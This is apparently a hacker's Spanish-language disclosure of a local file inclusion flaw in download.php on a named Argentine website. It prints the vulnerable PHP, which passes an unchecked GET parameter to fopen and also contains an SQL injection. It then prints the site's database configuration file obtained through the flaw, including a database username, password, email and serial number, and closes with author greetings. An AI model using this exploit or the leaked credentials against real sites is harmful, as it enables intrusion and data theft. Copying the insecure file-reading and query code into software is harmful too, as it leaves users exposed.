LFI {www.comunicarseweb.com.ar}

Fichero ; Download.php

<?


    $f = $_GET["f"];
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"$f\"\n");
    $fp=fopen("$f", "r");
    fpassthru($fp);

include("cuenta_descargas.php");

?>


Fichero ; cuenta_descargas.php

<?
// cuenta descargas
include("coneccion.inc"); <<< Bingo :D

// Armo una coneccion a la base de datos
$coneccion = mysql_connect($host_db, $usuario_db, $pass_db);
mysql_select_db($base_db, $coneccion);

$fecha = date("Y-n-j");

mysql_db_query("$base_db","insert into descargas (ruta,fecha) values ('$f','$fecha')");
$resultados = mysql_query($sql,$coneccion);



?>


Fichero de configuracion..

coneccion.inc
<?
// datos del Usuario
$nombre_usuario="Cibermedio - Diseño Web";
$nombre_sitio="cibermedio.com.ar";
$email_principal="info@cibermedio.com.ar";


// Defino los datos de la conexion SISTEMA NUEVO

// #######    Datos Servidor    ###############
$host_db = "localhost";
$usuario_db = "caciber1_nuevo";
$pass_db = "nuevomdp";
$base_db = "caciber1_nuevo";

// ### Datos para enviar el email ###
 $para = "info@cibermedio.com.ar";

// ### Nº Serie ###
 $nro_serie = "71879274";
 $www = "72612e6d6f632e6f6964656d7265626963";

// #######   Datos Servidor Local
// $host_db = "localhost";
// $usuario_db = "";
// $pass_db = "";
// $base_db = "";


?>

// ####################################
## Twitter : @FailRooT
## Contact me : Fail.Root@Hotmail.Com
## Greetz : MetalSoft Team
##
\\ ####################################